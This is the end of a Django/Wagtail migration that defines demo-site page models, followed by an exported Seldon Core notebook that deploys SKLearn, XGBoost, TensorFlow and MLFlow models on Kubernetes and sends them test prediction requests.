models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('intro', wagtail.core.fields.RichTextField(blank=True)), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='EventIndexPage', fields=[ ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('intro', wagtail.core.fields.RichTextField(blank=True)), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='EventPage', fields=[ ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('date_from', models.DateField(verbose_name='Start date')), ('date_to', models.DateField(blank=True, help_text='Not required if event is on a single day', null=True, verbose_name='End date')), ('time_from', models.TimeField(blank=True, null=True, verbose_name='Start time')), ('time_to', models.TimeField(blank=True, null=True, verbose_name='End time')), ('audience', models.CharField(choices=[('public', 'Public'), ('private', 'Private')], max_length=255)), ('location', models.CharField(max_length=255)), ('body', wagtail.core.fields.RichTextField(blank=True)), ('cost', models.CharField(max_length=255)), ('signup_link', models.URLField(blank=True)), ('feed_image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='HomePage', fields=[ ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('body', wagtail.core.fields.RichTextField(blank=True)), ], options={ 'verbose_name': 'homepage', }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='PersonPage', fields=[ ('telephone', models.CharField(blank=True, max_length=20)), ('email', models.EmailField(blank=True, max_length=254)), ('address_1', models.CharField(blank=True, max_length=255)), ('address_2', models.CharField(blank=True, max_length=255)), ('city', models.CharField(blank=True, max_length=255)), ('country', models.CharField(blank=True, max_length=255)), ('post_code', models.CharField(blank=True, max_length=10)), ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('first_name', models.CharField(max_length=255)), ('last_name', models.CharField(max_length=255)), ('intro', wagtail.core.fields.RichTextField(blank=True)), ('biography', wagtail.core.fields.RichTextField(blank=True)), ('feed_image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ('image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ], options={ 'abstract': False, }, bases=('wagtailcore.page', models.Model), ), migrations.CreateModel( name='StandardIndexPage', fields=[ ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('intro', wagtail.core.fields.RichTextField(blank=True)), ('feed_image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='StandardPage', fields=[ ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('intro', wagtail.core.fields.RichTextField(blank=True)), ('body', wagtail.core.fields.RichTextField(blank=True)), ('feed_image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='StandardPageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.StandardPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='StandardPageCarouselItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('embed_url', models.URLField(blank=True, verbose_name='Embed URL')), ('caption', models.CharField(blank=True, max_length=255)), ('image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='carousel_items', to='demosite.StandardPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='StandardIndexPageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.StandardIndexPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='PersonPageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.PersonPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='HomePageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.HomePage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='HomePageCarouselItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('embed_url', models.URLField(blank=True, verbose_name='Embed URL')), ('caption', models.CharField(blank=True, max_length=255)), ('image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='carousel_items', to='demosite.HomePage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='EventPageSpeaker', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('first_name', models.CharField(blank=True, max_length=255, verbose_name='Name')), ('last_name', models.CharField(blank=True, max_length=255, verbose_name='Surname')), ('image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='speakers', to='demosite.EventPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='EventPageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.EventPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='EventPageCarouselItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('embed_url', models.URLField(blank=True, verbose_name='Embed URL')), ('caption', models.CharField(blank=True, max_length=255)), ('image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='carousel_items', to='demosite.EventPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='EventIndexPageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.EventIndexPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='ContactPage', fields=[ ('telephone', models.CharField(blank=True, max_length=20)), ('email', models.EmailField(blank=True, max_length=254)), ('address_1', models.CharField(blank=True, max_length=255)), ('address_2', models.CharField(blank=True, max_length=255)), ('city', models.CharField(blank=True, max_length=255)), ('country', models.CharField(blank=True, max_length=255)), ('post_code', models.CharField(blank=True, max_length=10)), ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('body', wagtail.core.fields.RichTextField(blank=True)), ('feed_image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ], options={ 'abstract': False, }, bases=('wagtailcore.page', models.Model), ), migrations.CreateModel( name='BlogIndexPageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.BlogIndexPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='BlogEntryPageTag', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('content_object', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='tagged_items', to='demosite.BlogEntryPage')), ('tag', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='demosite_blogentrypagetag_items', to='taggit.Tag')), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='BlogEntryPageRelatedLink', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('title', models.CharField(help_text='Link title', max_length=255)), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_links', to='demosite.BlogEntryPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.CreateModel( name='BlogEntryPageCarouselItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sort_order', models.IntegerField(blank=True, editable=False, null=True)), ('link_external', models.URLField(blank=True, verbose_name='External link')), ('embed_url', models.URLField(blank=True, verbose_name='Embed URL')), ('caption', models.CharField(blank=True, max_length=255)), ('image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ('link_document', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtaildocs.Document')), ('link_page', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='+', to='wagtailcore.Page')), ('page', modelcluster.fields.ParentalKey(on_delete=django.db.models.deletion.CASCADE, related_name='carousel_items', to='demosite.BlogEntryPage')), ], options={ 'ordering': ['sort_order'], 'abstract': False, }, ), migrations.AddField( model_name='blogentrypage', name='tags', field=modelcluster.contrib.taggit.ClusterTaggableManager(blank=True, help_text='A comma-separated list of tags.', through='demosite.BlogEntryPageTag', to='taggit.Tag', verbose_name='Tags'), ), ]

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Python

doc/jupyter_execute/notebooks/server_examples.py

edshee/seldon-core

78c10fbca16a5e2a0c25b9673aa3deb220070e26

[ "Apache-2.0" ]

null

doc/jupyter_execute/notebooks/server_examples.py

edshee/seldon-core

78c10fbca16a5e2a0c25b9673aa3deb220070e26

[ "Apache-2.0" ]

null

doc/jupyter_execute/notebooks/server_examples.py

edshee/seldon-core

78c10fbca16a5e2a0c25b9673aa3deb220070e26

[ "Apache-2.0" ]

null

#!/usr/bin/env python # coding: utf-8 # # Example Model Servers with Seldon # # ## Setup Seldon Core # # Use the setup notebook to [Setup Cluster](https://docs.seldon.io/projects/seldon-core/en/latest/examples/seldon_core_setup.html#Setup-Cluster) with [Ambassador Ingress](https://docs.seldon.io/projects/seldon-core/en/latest/examples/seldon_core_setup.html#Ambassador) and [Seldon Core](https://docs.seldon.io/projects/seldon-core/en/latest/examples/seldon_core_setup.html#Install-Seldon-Core). Instructions [also online](https://docs.seldon.io/projects/seldon-core/en/latest/examples/seldon_core_setup.html). # In[ ]: get_ipython().system('kubectl create namespace seldon') # In[ ]: get_ipython().system('kubectl config set-context $(kubectl config current-context) --namespace=seldon') # In[ ]: import json # ## Serve SKLearn Iris Model # # In order to deploy SKLearn artifacts, we can leverage the [pre-packaged SKLearn inference server](https://docs.seldon.io/projects/seldon-core/en/latest/servers/sklearn.html). # The exposed API can follow either: # # - The default Seldon protocol. # - The [KFServing V2 protocol](https://docs.seldon.io/projects/seldon-core/en/latest/servers/sklearn.html##v2-kfserving-protocol-incubating). # # For details on each of these protocols, you can check the [documentation section on API protocols](https://docs.seldon.io/projects/seldon-core/en/latest/graph/protocols.html#v2-kfserving-protocol). # # ### Default Seldon protocol # # To deploy and start serving an SKLearn artifact using Seldon's default protocol, we can use a config like the one below: # In[ ]: get_ipython().run_cell_magic('writefile', '../servers/sklearnserver/samples/iris.yaml', 'apiVersion: machinelearning.seldon.io/v1alpha2\nkind: SeldonDeployment\nmetadata:\n name: sklearn\nspec:\n predictors:\n - graph:\n name: classifier\n implementation: SKLEARN_SERVER\n modelUri: gs://seldon-models/v1.13.0-dev/sklearn/iris\n name: default\n replicas: 1\n svcOrchSpec: \n env: \n - name: SELDON_LOG_LEVEL\n value: DEBUG') # We can then apply it to deploy it to our Kubernetes cluster. # In[ ]: get_ipython().system('kubectl apply -f ../servers/sklearnserver/samples/iris.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=sklearn -o jsonpath='{.items[0].metadata.name}')") # Once it's deployed we can send our sklearn model requests # #### REST Requests # In[ ]: X = get_ipython().getoutput('curl -s -d \'{"data": {"ndarray":[[1.0, 2.0, 5.0, 6.0]]}}\' -X POST http://localhost:8003/seldon/seldon/sklearn/api/v1.0/predictions -H "Content-Type: application/json"') d=json.loads(X[0]) print(d) # In[ ]: from seldon_core.seldon_client import SeldonClient sc = SeldonClient(deployment_name="sklearn", namespace="seldon") # In[ ]: r = sc.predict(gateway="ambassador", transport="rest", shape=(1, 4)) print(r) assert r.success == True # #### gRPC Requests # In[ ]: r = sc.predict(gateway="ambassador", transport="grpc", shape=(1, 4)) print(r) assert r.success == True # In[ ]: X = get_ipython().getoutput('cd ../executor/proto && grpcurl -d \'{"data":{"ndarray":[[1.0,2.0,5.0,6.0]]}}\' -rpc-header seldon:sklearn -rpc-header namespace:seldon -plaintext -proto ./prediction.proto 0.0.0.0:8003 seldon.protos.Seldon/Predict') d=json.loads("".join(X)) print(d) # And delete the model we deployed # In[ ]: get_ipython().system('kubectl delete -f ../servers/sklearnserver/samples/iris.yaml') # ### KFServing V2 protocol # # We can deploy a SKLearn artifact, exposing an API compatible with [KFServing's V2 Protocol](https://docs.seldon.io/projects/seldon-core/en/latest/servers/sklearn.html##v2-kfserving-protocol-incubating) by specifying the `protocol` of our `SeldonDeployment` as `kfserving`. # For example, we can consider the config below: # In[ ]: get_ipython().run_cell_magic('writefile', './resources/iris-sklearn-v2.yaml', 'apiVersion: machinelearning.seldon.io/v1\nkind: SeldonDeployment\nmetadata:\n name: sklearn\nspec:\n name: iris\n protocol: kfserving\n predictors:\n - graph:\n children: []\n implementation: SKLEARN_SERVER\n modelUri: gs://seldon-models/sklearn/iris-0.23.2/lr_model\n name: classifier\n name: default\n replicas: 1') # We can then apply it to deploy our model to our Kubernetes cluster. # In[ ]: get_ipython().system('kubectl apply -f resources/iris-sklearn-v2.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=sklearn -o jsonpath='{.items[0].metadata.name}')") # Once it's deployed, we can send inference requests to our model. # Note that, since it's using the KFServing's V2 Protocol, these requests will be different to the ones using the default Seldon Protocol. # In[ ]: import json import requests inference_request = { "inputs": [ {"name": "predict", "shape": [1, 4], "datatype": "FP32", "data": [[1, 2, 3, 4]]} ] } endpoint = "http://localhost:8003/seldon/seldon/sklearn/v2/models/infer" response = requests.post(endpoint, json=inference_request) print(json.dumps(response.json(), indent=2)) assert response.ok # Finally, we can delete the model we deployed. # In[ ]: get_ipython().system('kubectl delete -f resources/iris-sklearn-v2.yaml') # ## Serve XGBoost Iris Model # # In order to deploy XGBoost models, we can leverage the [pre-packaged XGBoost inference server](https://docs.seldon.io/projects/seldon-core/en/latest/servers/xgboost.html). # The exposed API can follow either: # # - The default Seldon protocol. # - The [KFServing V2 protocol](https://docs.seldon.io/projects/seldon-core/en/latest/servers/xgboost.html##v2-kfserving-protocol-incubating). # # For details on each of these protocols, you can check the [documentation section on API protocols](https://docs.seldon.io/projects/seldon-core/en/latest/graph/protocols.html#v2-kfserving-protocol). # ### Default Seldon protocol # # We can deploy a XGBoost model uploaded to an object store by using the XGBoost model server implementation as shown in the config below: # In[ ]: get_ipython().run_cell_magic('writefile', 'resources/iris.yaml', 'apiVersion: machinelearning.seldon.io/v1\nkind: SeldonDeployment\nmetadata:\n name: xgboost\nspec:\n name: iris\n predictors:\n - graph:\n children: []\n implementation: XGBOOST_SERVER\n modelUri: gs://seldon-models/xgboost/iris\n name: classifier\n name: default\n replicas: 1') # And then we apply it to deploy it to our kubernetes cluster # In[ ]: get_ipython().system('kubectl apply -f resources/iris.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=xgboost -o jsonpath='{.items[0].metadata.name}')") # #### Rest Requests # In[ ]: X = get_ipython().getoutput('curl -s -d \'{"data": {"ndarray":[[1.0, 2.0, 5.0, 6.0]]}}\' -X POST http://localhost:8003/seldon/seldon/xgboost/api/v1.0/predictions -H "Content-Type: application/json"') d=json.loads(X[0]) print(d) # In[ ]: from seldon_core.seldon_client import SeldonClient sc = SeldonClient(deployment_name="xgboost", namespace="seldon") # In[ ]: r = sc.predict(gateway="ambassador", transport="rest", shape=(1, 4)) print(r) assert r.success == True # #### gRPC Requests # In[ ]: r = sc.predict(gateway="ambassador", transport="grpc", shape=(1, 4)) print(r) assert r.success == True # In[ ]: X = get_ipython().getoutput('cd ../executor/proto && grpcurl -d \'{"data":{"ndarray":[[1.0,2.0,5.0,6.0]]}}\' -rpc-header seldon:xgboost -rpc-header namespace:seldon -plaintext -proto ./prediction.proto 0.0.0.0:8003 seldon.protos.Seldon/Predict') d=json.loads("".join(X)) print(d) # And delete the model we deployed # In[ ]: get_ipython().system('kubectl delete -f resources/iris.yaml') # ### KFServing V2 protocol # # We can deploy a XGBoost model, exposing an API compatible with [KFServing's V2 Protocol](https://docs.seldon.io/projects/seldon-core/en/latest/servers/xgboost.html##v2-kfserving-protocol-incubating) by specifying the `protocol` of our `SeldonDeployment` as `kfserving`. # For example, we can consider the config below: # In[ ]: get_ipython().run_cell_magic('writefile', './resources/iris-xgboost-v2.yaml', 'apiVersion: machinelearning.seldon.io/v1\nkind: SeldonDeployment\nmetadata:\n name: xgboost\nspec:\n name: iris\n protocol: kfserving\n predictors:\n - graph:\n children: []\n implementation: XGBOOST_SERVER\n modelUri: gs://seldon-models/xgboost/iris\n name: classifier\n name: default\n replicas: 1') # We can then apply it to deploy our model to our Kubernetes cluster. # In[ ]: get_ipython().system('kubectl apply -f ./resources/iris-xgboost-v2.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=xgboost -o jsonpath='{.items[0].metadata.name}')") # Once it's deployed, we can send inference requests to our model. # Note that, since it's using the KFServing's V2 Protocol, these requests will be different to the ones using the default Seldon Protocol. # In[ ]: import json import requests inference_request = { "inputs": [ {"name": "predict", "shape": [1, 4], "datatype": "FP32", "data": [[1, 2, 3, 4]]} ] } endpoint = "http://localhost:8003/seldon/seldon/xgboost/v2/models/infer" response = requests.post(endpoint, json=inference_request) print(json.dumps(response.json(), indent=2)) assert response.ok # Finally, we can delete the model we deployed. # In[ ]: get_ipython().system('kubectl delete -f ./resources/iris-xgboost-v2.yaml') # ## Serve Tensorflow MNIST Model # We can deploy a tensorflow model uploaded to an object store by using the # tensorflow model server implementation as the config below. # # This notebook contains two examples, one which shows how you can use the # TFServing prepackaged serve with the Seldon Protocol, and a second one which # shows how you can deploy it using the tensorlfow protocol (so you can send # requests of the exact format as you would to a tfserving server). # ### Serve Tensorflow MNIST Model with Seldon Protocol # # The config file below shows how you can deploy your Tensorflow model which # exposes the Seldon protocol. # In[ ]: get_ipython().run_cell_magic('writefile', './resources/mnist_rest.yaml', 'apiVersion: machinelearning.seldon.io/v1alpha2\nkind: SeldonDeployment\nmetadata:\n name: tfserving\nspec:\n name: mnist\n predictors:\n - graph:\n children: []\n implementation: TENSORFLOW_SERVER\n modelUri: gs://seldon-models/tfserving/mnist-model\n name: mnist-model\n parameters:\n - name: signature_name\n type: STRING\n value: predict_images\n - name: model_name\n type: STRING\n value: mnist-model\n - name: model_input\n type: STRING\n value: images\n - name: model_output\n type: STRING\n value: scores \n name: default\n replicas: 1') # In[ ]: get_ipython().system('kubectl apply -f ./resources/mnist_rest.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=tfserving -o jsonpath='{.items[0].metadata.name}')") # In[ ]: from seldon_core.seldon_client import SeldonClient sc = SeldonClient(deployment_name="tfserving", namespace="seldon") # #### REST Request # In[ ]: r = sc.predict(gateway="ambassador", transport="rest", shape=(1, 784)) print(r) assert r.success == True # #### gRPC Request # In[ ]: r = sc.predict(gateway="ambassador", transport="grpc", shape=(1, 784)) print(r) assert r.success == True # And delete the model we deployed # In[ ]: get_ipython().system('kubectl delete -f ./resources/mnist_rest.yaml') # ### Serve Tensorflow Model with Tensorflow protocol # # The config file below shows how you can deploy your Tensorflow model which # exposes the Tensorflow protocol. # In[ ]: get_ipython().run_cell_magic('writefile', './resources/halfplustwo_rest.yaml', 'apiVersion: machinelearning.seldon.io/v1alpha2\nkind: SeldonDeployment\nmetadata:\n name: hpt\nspec:\n name: hpt\n protocol: tensorflow\n transport: rest\n predictors:\n - graph:\n children: []\n implementation: TENSORFLOW_SERVER\n modelUri: gs://seldon-models/tfserving/half_plus_two\n name: halfplustwo\n parameters:\n - name: model_name\n type: STRING\n value: halfplustwo\n name: default\n replicas: 1') # In[ ]: get_ipython().system('kubectl apply -f ./resources/halfplustwo_rest.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=hpt -o jsonpath='{.items[0].metadata.name}')") # In[ ]: import json X = get_ipython().getoutput('curl -s -d \'{"instances": [1.0, 2.0, 5.0]}\' -X POST http://localhost:8003/seldon/seldon/hpt/v1/models/halfplustwo/:predict -H "Content-Type: application/json"') d=json.loads("".join(X)) print(d) assert(d["predictions"][0] == 2.5) # In[ ]: X = get_ipython().getoutput('cd ../executor/proto && grpcurl -d \'{"model_spec":{"name":"halfplustwo"},"inputs":{"x":{"dtype": 1, "tensor_shape": {"dim":[{"size": 3}]}, "floatVal" : [1.0, 2.0, 3.0]}}}\' -rpc-header seldon:hpt -rpc-header namespace:seldon -plaintext -proto ./prediction_service.proto 0.0.0.0:8003 tensorflow.serving.PredictionService/Predict') d=json.loads("".join(X)) print(d) assert(d["outputs"]["x"]["floatVal"][0] == 2.5) # In[ ]: get_ipython().system('kubectl delete -f ./resources/halfplustwo_rest.yaml') # ## Serve MLFlow Elasticnet Wines Model # We can deploy an MLFlow model uploaded to an object store by using the MLFlow # model server implementation as the config below: # In[ ]: get_ipython().run_cell_magic('writefile', './resources/elasticnet_wine.yaml', 'apiVersion: machinelearning.seldon.io/v1alpha2\nkind: SeldonDeployment\nmetadata:\n name: mlflow\nspec:\n name: wines\n predictors:\n - componentSpecs:\n - spec:\n # We are setting high failureThreshold as installing conda dependencies\n # can take long time and we want to avoid k8s killing the container prematurely\n containers:\n - name: classifier\n livenessProbe:\n initialDelaySeconds: 80\n failureThreshold: 200\n periodSeconds: 5\n successThreshold: 1\n httpGet:\n path: /health/ping\n port: http\n scheme: HTTP\n readinessProbe:\n initialDelaySeconds: 80\n failureThreshold: 200\n periodSeconds: 5\n successThreshold: 1\n httpGet:\n path: /health/ping\n port: http\n scheme: HTTP\n graph:\n children: []\n implementation: MLFLOW_SERVER\n modelUri: gs://seldon-models/v1.10.0-dev/mlflow/elasticnet_wine\n name: classifier\n name: default\n replicas: 1') # In[ ]: get_ipython().system('kubectl apply -f ./resources/elasticnet_wine.yaml') # In[ ]: get_ipython().system("kubectl rollout status deploy/$(kubectl get deploy -l seldon-deployment-id=mlflow -o jsonpath='{.items[0].metadata.name}')") # ### REST requests # In[ ]: X = get_ipython().getoutput('curl -s -d \'{"data": {"ndarray":[[0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.0,1.1]]}}\' -X POST http://localhost:8003/seldon/seldon/mlflow/api/v1.0/predictions -H "Content-Type: application/json"') d=json.loads(X[0]) print(d) # In[ ]: from seldon_core.seldon_client import SeldonClient sc = SeldonClient(deployment_name="mlflow", namespace="seldon") # In[ ]: r = 